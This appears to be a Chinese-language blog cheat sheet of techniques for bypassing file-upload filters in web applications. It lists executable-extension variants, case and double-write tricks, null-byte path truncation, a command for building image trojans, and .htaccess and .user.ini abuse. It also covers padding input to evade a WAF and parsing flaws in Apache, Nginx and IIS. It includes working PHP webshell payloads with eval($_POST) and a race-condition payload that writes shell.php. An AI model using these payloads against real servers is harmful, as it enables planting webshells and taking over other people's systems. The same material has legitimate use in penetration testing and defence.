1.前端用js判断后端不检验,直接抓包绕过;
2.Content-type字段可以修改绕过;
3.危险可执行文件后缀:
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess
4.大小写绕过:.PHP
5.收尾去空去点 payload: 点+php+点+空格+点
6.str_isreplace()将特征值字符串替换成空,可使用
双写绕过 .pphphp
7.
GET上传文件,但上传路径可修改url后缀添加
phpinfo.php%00绕过
8.
POST上传文件,但上传文件路径可控 %00 要转编码
9.读
文件字符串检测来判断文件类型检测方式,
生成图片木马绕过
生成语句:
copy logo.jpg/b+test.php/a test.jpg
10.文件内容检测 <? 判断
<script language="php">@eval($_POST['pwd']);phpinfo();</script>
11.PUT协议上传文件,属于白给shell
Windows系统特性
1.文件名后缀加空格和加. windows自动过滤。
2. ::$DATA是默认自动去除
Linux系统特性
1.Linux是根据文件文件头和文件内容判断文件类型,故只要文件中含有文件头,不管4字节和8字节均会被系统认为是图片文件。
逻辑漏洞(条件竞争)
1.文件上传到服务器rename修改文件后通过unlink删除文件;故可以直接burp一直提交另一边一直访问来生成导出shell;
Payload:
<?php fputs(fopen('shell.php','w'),'<?php@eval($_POST["cmd"])?>');?>
2.非白名单上传文件,判断过滤函数过多,即可大批量图片马来频繁丢包,导致他服务器列队溢出,实现文件上传
3.$file判断是否为数组,可以在文件内容中提前输入数组变量绕过。
4.针对云锁有针对用户体验感特性,用大量垃圾字符/**11111111**/填充,使文件过大超出他检测范围
5.htaccess apache的仿静态配置文件,可让jpg赋予php的执行权限
6.user.ini 为LAMP 在nginx环境下利用
![](https://i-blog.csdnimg.cn/blog_migrate/04eb3f4278afc60af68202d1f45b3774.png)
①这里的.user.ini文件的意思就是将当前目录下所有的文件都包含进当前目录的php文件进行解析
②构造好.user,ini文件后,讲其改名为.user.ini
③上传图片马
④上传.user.ini
⑤访问php文件即可获得shell
函数特性
str_isreplace(): 双写绕过
getimagesize(): 图片马绕过
Imagecreatefromgif(): 16进制传gif对比上传文件hex不变位置插马
exif_imagetype():
图片马
要设置.htaccess定义高宽
#define width 100
#define height 100
3.利用x00x00x8ax39x8ax39
文件解析漏洞特性
Apache: xxx.php.jpg
文件解析是从右到左开始判断解析
,
如果文件的后缀为不可识别
,就再往左判断
故可上传文件名xxx.php.222绕过
Nginx
:
Xxx.jpg%00xx.php
Nginx
(
0.5.,0.6., 0.7 ~
0.7.65, 0.8~
0.8.37
):
url
/xx.jpg%00.php
url
/a.jpg%00\0.php
IIS
5.x/6.0解析漏洞
:xxx.asp;.jpg
IIS 6.0
默认解析
:
asp、asa、cer、cdx
文件为执行文件
IIS
7.0/IIS
7.5/
Nginx
<0.8.3
默认开始
Fast-CGI
url
/xx.jpg/.php